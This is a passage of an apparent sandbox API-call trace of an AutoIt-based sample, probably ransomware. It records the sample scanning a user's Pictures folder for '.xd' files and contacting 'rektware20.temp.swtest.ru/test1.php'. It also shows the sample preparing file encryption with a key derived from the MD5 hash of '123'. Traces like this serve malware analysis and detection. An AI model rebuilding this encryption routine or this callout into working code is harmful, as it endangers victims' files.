lpString1="vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.375] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pDjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DjIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jIZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZM\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="42v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XiIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iIejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ejL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jL7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qh.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.377] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.377] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.377] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.377] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.377] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.377] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.377] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.377] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.377] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0062.377] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.377] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.377] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.378] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.378] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.378] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.378] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.379] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.379] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.391] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.391] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.391] CloseHandle (hObject=0x0) returned 0 [0062.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.392] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\42v5XiIejL7_Qh.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.392] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.392] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.392] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.392] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.393] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.393] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.393] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.394] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.394] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.394] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.394] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0062.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.395] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.395] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.395] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.396] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.396] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.396] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.396] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.396] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.396] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.396] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.397] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.397] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.397] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.397] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.397] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.397] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.397] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.397] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.398] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.398] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.398] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.399] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.400] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.403] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.403] CryptHashData (hHash=0x164c7f0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.405] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.405] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.405] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.405] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.405] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, 